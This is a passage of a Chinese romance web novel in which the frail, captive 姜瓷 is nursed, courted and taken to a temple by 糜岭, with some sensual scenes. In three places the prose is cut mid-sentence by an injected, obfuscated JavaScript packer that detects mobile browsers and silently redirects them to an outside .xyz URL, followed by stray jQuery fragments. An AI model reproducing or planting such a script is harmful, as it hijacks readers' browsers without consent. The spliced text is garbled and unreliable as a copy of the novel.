“哦,回头我再叫白医生来瞧瞧。对了,还有件事,三少也知道犬子要结婚了,过些日子的订婚宴,三少一定要赏光,”周盛业眯着眼看姜瓷,假模假样地说,“也带这一位一起去吧,怎么着也带点亲呢。” 姜瓷被他这幅虚伪的嘴脸气得手脚冰凉,胃里又翻腾起来,“哇”地一下吐了,又是咳又是喘,倒在糜岭怀里簌簌地掉眼泪,抽泣着,有气无力地说:“叫他走,叫他走……” “好好,别动气宝宝。”糜岭一面低声哄他,一面拿手巾给他擦脸,贴着他额头吻了几下,再一回头望向门口,周盛业却已不在了。 天一亮,糜岭就下楼来,原以为周盛业早离开了,却见他安然坐在餐桌正吃着早饭。 “周处长还没走,不要去处理失火的事情么。” “人总得睡觉吃饭不是!马上就走了,三少要不搭了我的车一同下去。” “不用,我的司机也快来了。” 说话间前院里便响起车声。糜岭实在没心思吃东西,这就要走。周盛业连忙来拦,说:“三少这上上下下的,实在麻烦,不如今天就带了他一起下去吧,他住在你那儿,我也放心。” 糜岭一愣,哪顾得上去想他葫芦里卖什么药,立刻就要去叫姜瓷。周盛业跟他走到楼梯口,又说:“只一件事,走之前我得嘱咐他几句话,免得他又耍脾气摔东西,闹得三少公馆里不安宁。我到书房去等他,这么一会儿功夫,不耽误三少的事吧?” 糜岭也没有言语,急急地上了楼。姜瓷被他送进书房时还睡眼惺忪地打哈欠,站都站不住,往沙发上一躺又要睡着,朦胧间听到算盘珠子的啪啪声,看过去,周盛业坐在桌前,正摆弄着一只算盘。金的那一只有些小,拨起来不方便,糜岭前几日便带来了这一只大的,想教他打算盘。不过他一直病着,还没能来得及学。 周盛业道:“他教你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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坐到车上,他缩在角落里,糜岭也不抱着他了,但偏偏挤着他坐,胳膊几乎贴到他怀里。遇到弯道,车子往他那一侧斜,糜岭的手肘就戳在他身上,戳得他喘不上气,心都揪得发疼。逃又没处逃,就只能被这样困着。 几个弯下来,他还是妥协了,歪头往糜岭肩上靠。 糜岭立刻抱他到腿上,扯起大衣,襁褓似的将他裹在怀里,自己也低下头来,与他一起凑在衣领下,柔声说:“宝宝,我与李小姐绝没有关系,以前不认识,往后也不会见面。在剧院那天是我不好,不该问她那些话,你与她没有一点相像,只是乍一瞧仿佛一样,不要把李先生的话放心上。你生气也是应该的,回去了想砸什么砸什么,你想打舅舅也给你打,什么都好,就是别像现在这样。” “我哪样了,我一直这样。”他别别扭扭地梗着脖子,仍不给糜岭亲。 糜岭再贴近了,鼻尖蹭他鼻尖,仿佛有点求他可怜的语气,喃喃地叫:“小宝,乖乖,小瓷,宝宝……” 几句话的这一瞬间,忽然柔软得像棉一样被拉长,拉长到了永恒,整个世界缩到了这一片昏昏的衣领下,什么都消隐了,只有湿热的呼吸交缠在一处,好亲近好密切,又缠绵又缱绻,仿佛糜岭真把他当爱人了。 可是他心中只有一片空荡荡的寂静。他也不知道为什么,反正在这倏忽一刻之间,他没有想爱与不爱,替身不替身,恨也没有想。他在想,我不是李小姐那样好人家的孩子,我可是个娼啊。 他吻上糜岭薄薄的嘴唇,软声说:“我又能怎么办呢阿岭,你想要,我就只能给你亲呀。” 回到糜公馆,两人先吃早饭。姜瓷不知怎么的又困倦起来,喝了两口粥,倒没有吐了,可还握着筷子呢,就这么耷拉着脑袋睡着了。糜岭摸着他额头总觉得有些热,不太放心他一个人,就没去店里忙事情。 临中午的时候接到了悦来食府掌柜打来的电话。掌柜在那头说:“少爷,昨夜很顺利,他们来了三四个人,都被火烧得不轻,我们的伙计至多挨了几下拳头,都没受伤。早上我去警局报案,还遇到了周处长。” “他说什么了?” “只讲一定会找出罪魁祸首。” 昨晚在周盛业面前,他刻意扮了一副惊诧难安的样子,也不知道骗没骗到那老东西。不过现在周盛业又放了姜瓷下山,大约已不准备再纠缠库房一事,定是又谋划了新策。 “我知道了,”他说,“新库房的事怎么样了?” “早就办好了,前几日就已经将货物全部运了过去,绝对稳妥。” “就这样吧,有事随时通知我。” 他挂了电话,回房里叫姜瓷吃饭。姜瓷仍倦怠地睁不开眼,不愿意起床,哭哭啼啼闹了一阵子,好不容易哄得他出了房间,还没走几步,他便又翻江倒海吐起来,说是家里有股难闻的气味。可糜岭嗅一嗅,只闻见从餐厅里飘出来的淡淡的羊汤香气。 33. 33 甘言疾 糜岭好几次带姜瓷到百杏林诊脉。但或许是姜瓷身体比较特殊,脉象又乱又杂,英嬅一直没能诊出个所以然来,只好开了几张补气养血的温和药方,嘱咐回去静养。 大多数时候姜瓷喝不了药,根本闻不得苦味,饭更是吃不下,一碰荤腥就要吐,天天就只能吃些没味道的汤汤水水,原本珠圆玉润的一个,眼见着消瘦下来,镯子都戴不住,总溜溜的要滑出手腕。 糜岭既不懂医也不能替姜瓷受苦,在一旁干看着,一点儿办法没有,难免着急上火。 这天晚上他在醉生楼谈生意,喝了点酒,回来得有些晚,家里已经灭了灯。管家听见动静迎出来,报告姜瓷的情况,说他今天尤其没精神,拢共只喝两杯水,刚出笼的云糕咬一口就吐了,呕得浑身发软床都下不了。 糜岭本来就为了这事儿焦心,现在被酒意一激,更是急躁,二话不说,风风火火就往厨房去,端了还热在锅上的一碗红枣莲子汤,急匆匆回了房间。 姜瓷佝偻着身子,脸掩在被子里,安安静静地睡着。糜岭坐在床畔叫了他几声,见他没有醒,又轻轻晃他肩膀,他还是一动不动,掀了被子一瞧,他一张脸煞白,死人般的。 他登时一惊,马上去探他的鼻息,不知是不是心慌意乱的缘故,竟没探着,当下也顾不上了,朝门外吼了声“来人”,又来拍他脸颊试图叫醒他。拍了一下正要拍第二下,忽然姜瓷就睁了眼。 他朦朦胧胧地瞧见糜岭神色阴沉,紧绷着脸,额前与颈上都爆出青筋来,眼睛恶狠狠瞪着,立刻吓清醒了,惶然间还以为是自己偷钥匙的事情被发现,糜岭来兴师问罪了。 他颤巍巍地说:“我、我……不是……我不要回山上,我错了……” 糜岭见他醒了又能说话,虽然像是胡言乱语的梦话,但还是松了口气,要来抱他。可还没碰到他,他就惊叫着往床另一侧爬去,手脚哆哆嗦嗦根本撑不住身体,整个人一下滚落下去,脑袋往床沿一磕,嘭的一声响。 糜岭呆了一呆,赶忙去扶,把他按在怀里,见他额头股起一个大包,心里又焦灼起来,张口便骂:“跑什么,你跑去哪?折腾来折腾去,还嫌身上的病不够多!” 姜瓷被他这么一凶,更是惶惑,试着挣了挣,马上就被钳住了手腕。 “别动!让我看看!”糜岭拨开他额前的头发查看,又摸他的脸,把手掌放他胸口上,默默地数心跳。 他僵着身子,静了一会儿便开始哭,越哭越大声,上气不接下气,脸憋得青紫。 糜岭这才软下声哄他:“小宝,好了好了,我太大声了,吓着你了。做噩梦了是不是?怎么叫都叫不醒你,舅舅以为……别哭了宝宝,额头疼不疼?” 翻来覆去哄了一阵子,姜瓷总算冷静下来,知道是自己误会了,往糜岭肩上一倒,又是昏昏欲睡。 糜岭瞟一眼那碗早已凉透的红枣莲子汤,轻轻叹了一声,自言自语道:“吃这么少,觉又这么多,还睡得沉,你到底怎么了宝宝。” 姜瓷掀了掀眼皮看他一眼,抬手捂住脸颊,有些呆滞地喃喃地说了句不相关的话:“你刚才打我脸,你不回家,在外面喝了酒,还打我呜呜……” “什么话,我——小宝,姜瓷,姜瓷?” 糜岭还没来得及辩解,姜瓷蹙着眉,双眼紧闭,眼泪还挂在眼角呢,就已经又睡着了。 第二天糜岭醒的时候姜瓷已经起床了,搬了藤椅坐在院子里晒太阳。糜岭去找他,竟见他在吃东西,一碗芋头泥已经只剩碗底一点儿了。糜岭尝了一口那芋泥,寡淡得一点儿味道没有,实在咽不下,不知道他怎么吃得这么津津有味。 手边矮茶几上还放着一盘瓜子和几个蜜饯。糜岭一边剥瓜子一边问他额头还疼不疼。姜瓷抬手摸一摸,也不回话,还在闹别扭。糜岭把好话都说了一遍,将剥好的一把瓜子往他嘴边递。他小鸟儿啄食似的就着他掌心抿瓜子粒儿,终于开口说:“我还要吃。” “好,给你剥。”糜岭凑过去亲亲他脸,他一把勾住糜岭脖颈,又软声撒娇道:“我想出去玩。” “不行,前几天去见英嬅,才嘱咐你好好休息。” “那我今天喝药,喝了药能不能出去?我会很乖的,就到街上走走行不行?” “不可以。” 姜瓷嘴巴一抿,松开他往藤椅上一倒,眨巴几下眼睛就开始掉眼泪,越哭越收不住,捂着心口又气喘起来了。糜岭赶忙叫佣人去倒水来,安抚他说:“好好,别哭了宝宝,我们这就出去,下山也十多天了,一直闷在家里,舅舅忙生意又没能陪你,确实要出去走走,今天天也好,不怎么冷。” 他喂姜瓷喝了点儿水,抱他回房里换了衣服,坐上车出门。在街上兜了两圈,开到一处公园里,两人下了车散步。 已经是仲春时节,拂面的风暖软起来,园子里虽还有几株晚梅,可也几乎要败尽了。姜瓷抓了一把飘落的花瓣放在糜岭西服口袋里,坚持要带回去。走到河岸边,一排柳树都抽了芽,隔着一帘在风中游荡的枝条,隐隐绰绰地,能看到有人在湖上泛舟。 姜瓷眼红,说:“我也想划船。” 糜岭沉默不语,轻轻抚他的脸颊。他也就知道糜岭不同意了,便说:“那下次,天再热一点的时候,还来玩。” “小宝又不会游水,船翻了掉下去——” “我知道小舅舅不会让我掉下去的。” 糜岭无奈笑一笑,道:“好吧宝宝,下次我们来这儿游湖。” “等会儿再回去好不好,我还想看他们划船。” “我们到另一边没柳树的地方看。” 走到另一边,视野开阔许多,把整个湖都尽收眼底,湖里一共三只船,船夫摇着桨在喊号子。姜瓷听着,不知怎的,又困倦起来,有些站不住。糜岭就叫司机开了车过来,要带他回去。他又不愿意,先用身体挡着车门,后来整个人又歪倒在车前盖上耍赖,纠缠着糜岭,把他口袋里的花翻出来,泼得他一身都是,见他头发上沾着花瓣的滑稽样子,忍不住吃吃地笑。 这一阵子糜岭几乎没见过他这样活泼,也就顺了他的意答应再待一会儿。 两人靠在车上搂搂抱抱正腻歪呢,忽然身后湖上传来一阵歌声,回头一瞧,看到就近的一条游船船尾上,几个大人围坐在小藤桌周围,一个孩子站在他们旁边,就是她在唱歌。 糜岭只觉得那孩子声音耳熟,再打眼细瞧,原来是吝吝。这时候船上那几个大人也注意到了这边,姜瓷看见一个男人站起身,把礼帽捂在胸前微微朝这儿弯了弯腰,男人头发花白的,是李先生。他一左一右坐着英嬅和李小姐。 姜瓷勉强回了个笑,垂下眼来,无精打采地打哈欠。 糜岭附在他耳边说:“累了我们就回去,不和他们打招呼了,上回舅舅也答应过你,不会和李小姐见面。” “不……我想和英嬅姐姐说话。” 于是糜岭便朝李先生挥了挥手。游船划到岸边,那几人陆续上岸。糜岭走过去先抱吝吝下了船,李先生牵着英嬅,英嬅像是被水泼了,有几绺头发都湿淋淋的,身上披着李先生的外套。 姜瓷深深望她一眼,她便走过来轻声说:“好巧,又碰见了。刚才吝吝调皮,趴在船边玩水,我吓了一跳,以为她要掉下去了,赶忙去拉她,弄得浑身都湿了。” 姜瓷沉默片刻,低低地应了一声,说:“姐姐当心生病。” “嗯,这就回去了。” “你到糜公馆去坐坐再走好不好?我叫小舅舅请你们吃晚饭。” 他说着,抬眼去看岸边。只有李小姐还在船上了,她起身时打了个趔趄,衣服好像被什么勾住了,再一直起身,旗袍嗤啦一下破了,大腿边上开了长长一条口子。她惊慌地叫了一声,又倒回船里。 李先生的衣服已经给英嬅披着了,糜岭倒还是有外套,可以给李小姐遮一遮。 姜瓷忽而想起周盛业的那句话:说不定转天糜岭就把好人家女儿娶进了门……李小姐就是好人家的孩子,清清白白的……他低头看一眼自己穿的旗袍,开衩到腿根,比李小姐身上那条扯坏的口子还要大还要裸露。他有些羞囧地低了低头,捏住腿边的开衩,不自在地蹭了蹭腿。再看向那边的时候,糜岭已经把衣服递给李小姐,李小姐拿它遮着腿,终于踉踉跄跄上了岸。 几人寒暄了一番,坐车回糜公馆。 一进大门,姜瓷就拉英嬅躲进书房。英嬅坐下来给他诊脉,只是仍没能摸出来什么,便问了问他这几日的身体情况。姜瓷一一告诉她,她皱着眉良久没说话。 姜瓷见她这幅样子,便懒洋洋地问:“我是不是要死了?” 英嬅吓了一跳,忙高声道:“胡说!” “可是妈妈就是这样的,她最后一段日子也吃不下,还一直睡觉。” “你不要乱想,绝对不是。”她瞄一眼桌上一只小算盘,立刻转移了话题:“糜岭教你打算盘么?” “嗯,他还教我写字,”他有了些精神,拿起手边一张报纸,“我现在可以自己看报纸,我读一段给你听。”他便磕磕巴巴读了一篇报道,读完了,一抬眼看见书房玻璃门外,吝吝正在院子里跑跑跳跳地玩。 他便说:“姐姐,李先生知道你有了吝吝,还是想要和你结婚?” 英嬅轻轻点了点头:“我还没答应。” “那你会答应吗?” 英嬅没有应声。姜瓷敛了敛眉,说:“姐姐,我就算要死了,也还是要走的,我要回上海去。你记得我说的话吗?你如果愿意,可以跟我一起回上海,上海也是很好的地方,不比香港差的。我会很认真地学写字,学算账,到时候我可以找一个工作,姐姐呢,就更容易了,你会医术,不怕没有饭吃。你用不着再看哥哥的眼色,更不用为了钱委屈自己和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831052|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个不喜欢的人在一起,我知道你不喜欢李先生。你会很自由,我也是,自由自在的,不会被关在山上了……” 英嬅沉默半晌,道:“你走了,让糜岭怎么办呢?” “姐姐在说笑话么,我是什么人,他是什么人,难不成他还会和我结婚么?我走了就只是我走了而已,还能怎么样?他现在对我好,还不是因为我的脸和他爱的人一样,我不在,他马上就可以再找一个替身。” “小瓷……”英嬅支支吾吾的,给不出回答。 姜瓷多少明了了她的意思,心里冷冷的,也不再提了,换了个事来说,问:“姐姐,我问你一件事。” “什么?” “我和……我和李小姐,长得像吗?” 英嬅诧异地说:“这是什么话,哪里都不像!就算像,糜岭也不会和她攀扯。” “哦,是么……”姜瓷重重叹口气,揉了揉心口,又道:“我的心一直好痛,姐姐,你能不能开几味药给我吃?最好不要苦的,我不是不想喝,我真的喝不下苦的东西……” 英嬅一时分不清他是真的心上出了毛病还是因为糜岭而害了相思病,踌躇良久,抽出纸来写了张药方。恰好糜岭在这时候进来了,说:“聊完了么?吃饭了。” 英嬅便将药方递给他:“我去叫吝吝。”起身出去了。 “小宝,快来,”糜岭在门口叫他,“炖了一碗雪梨羹,不想吃还有别的东西。” 姜瓷看他一眼,撒着娇说:“你端来好不好,我不想动。” “好好,端来给你。”糜岭转身出去,和英嬅吝吝一道往餐厅走。英嬅见四下没人,对他说:“你有空带小瓷到西医那儿瞧瞧吧,医院里有那些西洋的仪器,给小瓷查一查到底哪儿不好。他……他刚才问我……” “问你什么?” “他觉得他要、要……他说他妈妈走前也是这样的。” 糜岭一下呆住了,顿住脚步往墙上倚了倚,想说话,可嗓子里卡着炭火般的热痛,半晌都没能出声。 英嬅道:“具体怎么样,我实在说不好,或许也没有那么严重的,你还是要紧带他去医院看看。” 进到餐厅里,糜岭还是没说话,端了碗便离开了。 英嬅也没心思吃饭,动了动筷子给吝吝夹菜。李先生见她脸色不好,便问:“怎么一回事?” “哦……没什么,就是那一位,不大好了……” “确实看着消瘦了不少,是什么病?” 英嬅摇了摇头。 这时候李小姐突然地插了话进来,说:“也没有名分么?没名没分死在了这里,岂不叫糜先生为难?” 英嬅惊诧地瞪起眼睛,脸上顿时铁青。他望一眼李先生,李先生则已是红胀了脸,咬牙切齿地低声骂道:“没规矩的……这种话也讲得出来么!” 李小姐似是不懂他为什么要生气,无辜地噘一噘嘴,低下头去,摆弄起仍盖在腿上的糜岭的外套来。李先生见状又斥道:“行了!趁早把衣服还回去!” “那么叫我光着腿给别人看?!”李小姐委屈地大叫,“我爹妈叫军阀害死了,我孤苦伶仃没有依靠,只能投奔伯父,现在伯父为了自己能结婚,要先把我嫁出去甩了我这个拖油瓶!回回带我去剧院去餐馆都是为了见男人,那些歪瓜裂枣……我凭什么就同意!伯父能选自己喜欢的,我也得嫁一个我自己看中的,要嫁也嫁给——” “还不住口,我看你今日是失心疯了!”李先生腾一下站起来,拽着她便往外走。她哭嚷起来。英嬅低眉垂眼静静坐着,给吝吝夹了块肉,心里想,姜瓷会疑心她和糜岭有牵扯,原来不是没有缘由。 这一边糜岭正在书房喂姜瓷吃梨子羹,听见动静后往外头看了一眼,玻璃门外院子里,李先生拉着李小姐步履匆匆地往外走。姜瓷原本枕在他肩上,嘴里嚼着梨子,已经有些要睡过去,现在睁了睁眼也往外看,只瞧见糜岭那件西服外套掩在李小姐的腿上一下子闪进树丛里去了,衣角跟着一甩,从口袋里飞出许多花瓣来。 “他们这就走了吗?不吃饭吗?”他问。 糜岭用手掩了他眼睛:“随他们去吧,宝宝,我们吃完东西睡觉了。” “嗯……明天还吃这个,甜甜的,还有瓜子,还想吃。” “好,想吃什么都行,瓜子舅舅也给你剥。” 姜瓷揽住他脖颈靠到他肩上,打了几个哈欠,一瞥眼瞧见他衬衣领子下还卡了几朵梅花瓣。他拈了一片出来揉碎了,盯着指尖上浅浅的一抹红色,轻声说:“阿岭,如果你要结婚,你会告诉我的吧,你要告诉我,我也好知道……知道什么时候起我不能再下山了……” “别乱想宝宝,我不结婚,我找谁结婚去呢?舅舅只陪着你,好吗?” 姜瓷没应声,心口又不舒服起来,胃里也翻腾,可一把眼睛闭上,昏昏沉沉的,意识就模糊了。 34. 34 生辰礼 这天晚上,姜瓷没来由地醒了,翻来覆去没能再睡着。糜岭还没回家,大约又因为生意被绊在了酒局上。 他披上衣服出了房间,在走廊里,闻到一阵软糯的米香,往常定是要吐个天翻地覆了,不知为何此刻却只觉得胃里饿得隐隐地痛。 找到厨房,一个老妈子正坐在靠墙的矮凳上打瞌睡,新式的煤气灶上,一左一右两个锅下都点着灶火,似乎热着什么吃食。 他轻手轻脚走到灶边,正要揭锅盖,只听身后那老妈子“哎呦”了一声,还没来得及回头瞧一眼,他的手已经被老妈子按住了。 她拉着他往矮凳那儿走,说:“您快去坐着。这会儿大师傅已经歇了,您想吃什么只能我替您做了,还炖碗雪梨羹?那锅里的是给少爷留的。” 姜瓷撇撇嘴:“原来他每晚回来还要吃宵夜的?烧的什么好东西不能给我吃?” “哪能呢,向来不吃宵夜,只是今天特殊,”老妈子从篮筐里抓了两个梨一边洗一边说,“今天是少爷的生辰,煮了一碗寿面,烤了几张锅巴。” 姜瓷愣了愣,瞥一眼噗噗燃着的幽蓝的灶火,低下头拨弄着手指,沉默片刻,说:“锅巴闷久了要糊了。” “啊!真是……瞧我这记性。”老妈子放了梨去关火,将锅巴铲到盘子里,再看了看另一个锅中的面条,道:“也不知道什么时候回来呢,错过了就不能叫长寿面了。” 姜瓷听了便起身往外走:“我去看看时间。”到客室里头,开灯一瞧钟表,原来已经是夜里一点钟了。他走到大门口,在门廊下静静站了一会儿,被风吹得有些头昏,便回到了厨房。 “都一点多了。”他对老妈子说。 老妈子道:“这么晚了!原以为少爷今天会早点儿到家。我年年给他煮面呢,往年也有回不来的时候,毕竟要管那么大的生意。”她将面条盛出来,洗了锅炖梨子羹。 姜瓷拿了装冰糖的小罐头凑在锅边,往里抖了几颗糖:“谁说一定在忙生意,他过生辰,准有人请他吃饭,或许在哪个温柔乡玩得高兴,回来了也没肚子吃东西。” 不待老妈子回话,忽然插进一道含笑的声音来:“哪儿来这么大一股醋味?” 两人一起回头,姜瓷看一眼糜岭就收回了视线,老妈子则热络地说着话,问还要不要吃面。 糜岭道:“怎么不吃,忙得晕头转向,晚饭都没顾得上。” 姜瓷听了没忍住又向他瞟了瞟,再去摸一摸盛面的碗,还热着,便端起来放到了一旁小桌上。 老妈子关了灶上的火就离开了。糜岭走到桌前坐下,抱姜瓷到怀里,先亲了亲他,柔声问:“这时候了还醒着?” “我都睡一觉起来了,肚子饿。” “是吗宝宝,今天倒有胃口,真乖,”糜岭抚一抚他瘦削的手腕,“身上这么凉,吹风了?” 姜瓷梗着脖子不说话,糜岭笑着道:“哦,原来小宝这么想我,还到外面去等我,是不是?” “我……才没有,怎么都没听见你回来的声音?” “小宝忙着吃醋,哪里听得见。” “我哪敢吃你的醋呢!”姜瓷撇着嘴推他一下,被他握住了手腕搭到肩上,他把脖颈往姜瓷跟前凑,说:“小宝检查检查,闻闻舅舅身上有没有沾着别人的味道?” “十三点……我才不检查呢!”这么说着,还是搂紧了他肩膀,脸往他颈上蹭,一点点儿笔墨的香味,一点儿钱钞的涩苦气息。于是便问:“你真的没吃晚饭啊?” 糜岭道:“骗你做什么。” “那你干嘛不告诉我今天是你生辰?” “舅舅都忙忘了,又担心你的身体,哪有心思想别的事情,”糜岭摸摸他青白的、毫无血色的嘴唇,“小宝,明天我们到医院去一趟,好吗?” 他并紧了腿,手掌掩在中间,很坚决地说:“不要,我不去,我不给别人看。” “医生又不看那儿,你吃不下东西,当然是查一查胃里是不是不好。”糜岭把手掌覆在他肚子上轻轻揉了揉。姜瓷抱住他的手更往身上贴紧了,转移话题说:“你的手好暖和,好舒服,你再给我揉。” 糜岭就抚着他肚子,还想哄他:“小宝——” “我不去嘛!你看我现在也可以吃东西,我明天要吃红烧肉,我已经好多了!我不去!” 糜岭见他越说越高声,又有点气喘起来,只好作罢,说:“好好,那么这件事就再说吧。宝宝不闹,这么晚了,大家都睡了,吃了东西我们也去睡觉了。” 他挑了一筷子面条送到姜瓷嘴边,他浅浅咬了一口,站起身站起身去把那盘锅巴端了来。 两人对视一眼,都想到了去年在金园因为锅巴而起的摩擦。姜瓷垂着眼睛不大高兴的样子,说:“不是我做的,你就放心吃吧,我没有打听你的事情,也没有跟别人乱讲,是那个老妈子——” “我知道小宝,她是我从老宅带过来的,家里二十多年的老佣人了,自然知道我的事情。” 姜瓷闷闷地应了一声:“哦,我还是喝我的梨子羹好了。” “等一会儿宝宝,过来,舅舅抱一下。” 姜瓷不情不愿地俯身,被他搂住腰又抱到腿上坐着,他一边浅浅地啄吻姜瓷一边哄着说:“全是我不对宝宝,那时候舅舅有眼无珠,以己度人,其实是我自己心思龌龊,我们宝宝最好最善良,绝不可能与周盛业合谋,更不会存坏心害我。” 这么一说,倒把姜瓷说得心虚起来,前不久他才把钥匙偷了给周盛业,害得悦来食府付之一炬,做出这种事,哪能叫“善良”呢。可转念又一想,他本来就不该与“善良”沾边,他就该无情无义,偷钥匙耍心思,只要有利于逃离这里,无论什么事情他都应该去做。 他拈起一绺头发往糜岭颊上轻轻地来回扫,糯糯地说:“那么久以前的事,我都快忘了,别说这些不高兴的了,今天是你生辰呀。” “这时候了,生辰已经过了。” “我不管,天还没亮,就是你的生辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831053|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 糜岭轻轻地笑:“那送舅舅什么礼物?” “你想要什么呢?” 糜岭不应声,把手从他的腰慢慢往上抚。虽然他近来消瘦许多,可这是有几处仍是软润丰肥的,摸上去,像在殷切啄食的鸟儿的喙,主动地戳在他指腹上。 他追着姜瓷的手咬住了在脸上撩拨的细细几丝头发,抿在唇间舔舐着,没有再做其他,抵着他额头,敛眉垂眼,矮声说:“你在我身边就好,舅舅什么礼物都不要。” “你才说要我送礼物呢,口是心非,”姜瓷贴紧他,扯开了衣襟,“不过这样有点冷……” 糜岭便说:“冷就回去了,穿这么少一会儿又该着凉,去吧,舅舅马上把梨子羹端去给你。” “不要,不想吃了……冷的话你抱着我就好了嘛。” “乖乖地,等你把身体养好……回去吧宝宝。”糜岭吻了吻他,恋恋不舍地捉着他手指摩挲。他也不肯放,磨蹭了一阵儿才慢吞吞踱步出去。 糜岭一瞬不瞬盯着他背影,宽松的睡袍也遮不住他芊芊一抹腰,软洋洋凹着,一扭一扭游出门外,曳地的长睡袍是潮润的海色,随步伐翻涌飞扑,仿佛真掀起了浪,水花直溅到脸上来,却是火星子般热辣的。 他忙低了头,捂住滚烫的脸颊,深深叹口气,瞧一眼面前的面碗,食欲已被打压下去,胃口顿消。 他再端着梨子羹回到房里的时候,姜瓷蜷在被子里,似乎是睡着了。被角下溢出一抹那睡袍的潮蓝色。他不自禁拽住袍子摸进被子里,手顿在姜瓷细软的脚踝上抚了抚,自以为动作很轻,没想到姜瓷还是探出头来,睁着朦胧的眼看他。 “你好慢。”他糯声抱怨。 “还吃不吃东西了?不吃就继续睡,舅舅说故事给你听,好不好?” 姜瓷摇摇头:“我一直没睡着,你陪我……” 糜岭便去牵他的手,却觉得有点儿不对劲,再对上他的眼睛,哪里是睡梦惺忪呢。声音喑哑地道:“不听话……快睡觉。” 姜瓷轻轻地喊一声:“阿岭!”缠得糜岭一下子头脑昏昏,就抱住他躺倒在床上。 仿佛是梦见了去到公园里,糜岭真的带他坐船游湖了。岸边的垂柳被春风吹得醉了般不住地摇晃,树底下嫩嫩的刚抽芽的青草有一股甜甜的香气,烘得空气都暖腻起来,有不知名的小虫子在草地里左蹦右跳,震得一丛丛草叶尖儿颤颤地上下曳着。湖里有小鱼苗,在三两根水草间嬉戏耍玩,或者其实是那些水草纠缠着鱼儿不让它游走。 姜瓷看了,伸手到水里,想去逗逗那鱼儿,不想湖水那样冷冽,针似的扎手,冰得他一下子惊醒了。 他感觉肚子坠胀,钝钝地发痛,绷紧了身子,脸色煞白,一叠声地叫着“阿岭”,哭吟吟的,讲不清楚话。糜岭急得赶忙叫人送热水来,拧了毛巾盖在他小腹上。佣人又熬了一碗药,糜岭哄他喝了,许是药有安神的作用,他很快安静下来,握着糜岭的手搭在肚腹处,耷拉着眼皮打气瞌睡来。 35. 35 金锁小兰房 清明节这天,两人一同到寺庙去上香。 出门时外面飘着小雨,风也凉飕飕的。糜岭今日难得穿了身长衫和马褂,姜瓷也一样的打扮。衣料不厚实,糜岭生怕他受凉,硬是又给他披了件披风。在车上,他一直嚷着热,确实出了一身汗,鬓发都湿哒哒黏在额角。 糜岭摸摸他额头,总觉得烫手,攥紧了披风不给他脱,问他:“头痛不痛?” “不痛,你把窗户打开嘛!” “不可以,身上这么烫,肯定在发热,不能再吹风了。” “穿这么多,不发热也闷得发热了!”姜瓷扯开了衣襟喘气,探出身要去摇车窗。 糜岭拽他回来,抱着他哄:“小宝,今天这样的日子,可不能带着脾气到庙里去,刚才出门前是不是答应过舅舅的?一会儿我们还要给你妈妈上香,你一副不高兴的样子怎么行,是不是?等我们回了家,你想怎么样就怎么样,全听小宝的。” 他撇着嘴不太服气,但到底是安静下来了,说:“那我想喝酸梅汤。” “夏天还没到就喝那种凉的东西。” “你给我不给我买?” “好好,买,宝宝不闹,你热,那么衣服稍微解开一些,这样好不好了?”糜岭解开了他马褂的纽扣,他因为穿着男装,裹了束胸,也一道解开来。 他抓着糜岭的手贴在颈上,嚷着说他手上凉凉的舒服,这才消停,不一会儿就昏昏欲睡,模模糊糊之间,忽然下腹又是一阵凌厉的坠痛,刺得他立刻清醒过来。 近来他总是这般肚子不舒服,糜岭见状心里又急燥起来,总觉得他要出什么事,立刻把披风裹紧了他,说:“就不该让你出门,你这几天比前一阵子还没精神。” 他捂着小腹委委屈屈地道:“我不是生病,是……都怪你生辰那天……一直到现在还痛呢!” 糜岭被他噎得讲不出话,也去摸他肚子,轻轻揉了一阵儿,他脸色才和缓了些,朝窗外张望,远远瞧见了一座黑金佛塔,在濛白的雨雾里也不减巍然之气。 自从来到香港,他还没有见过庙宇,于是下了车便迫不及待就往里钻。 这会儿雨已经停了,稍稍有一点儿阳光,蒸着水汽,寺庙院落中不进风,闷得又热又潮,到处挤满了人,乱成一团,走道两边排着数个大香炉,焚出的烟太盛,直迷人眼。 还没有走几步,他就被弥散的烟味呛得咳个不停。糜岭忙拉他到角落里躲一躲,他扶着墙根干呕了几声,彻底蔫儿了,蹲在地上赖着不肯起来。 糜岭正好言哄他的时候,不知道从哪儿冒出一个小沙弥,双手合十讲了声阿弥陀佛,对糜岭说:“施主,住持已经等您许久了,请跟我来。” “等等,斋堂后面不是有个小院子么,你先带我那儿去,我……我外甥不太舒服。” 姜瓷抬头睨他一眼,慢吞吞站起来往他怀里倚,拖长了声音腻腻地喊:“舅舅,小舅舅啊,我想喝水。” 糜岭搂着他跟在小沙弥身后,贴着他耳语:“好好说话。” “我怎么没好好说话了,我一直这样说话的。” “哪里又不高兴了小宝?说好了不闹脾气。” 姜瓷嘟囔:“我可不是你外甥。” “好好,”糜岭偷瞄一眼认认真真领路的小沙弥,拿手掩着姜瓷的脸,低头深深吻了他一下,“你是我的宝宝,亲爱的,甜心,可不可以了?” 姜瓷被逗得吃吃地笑开了。 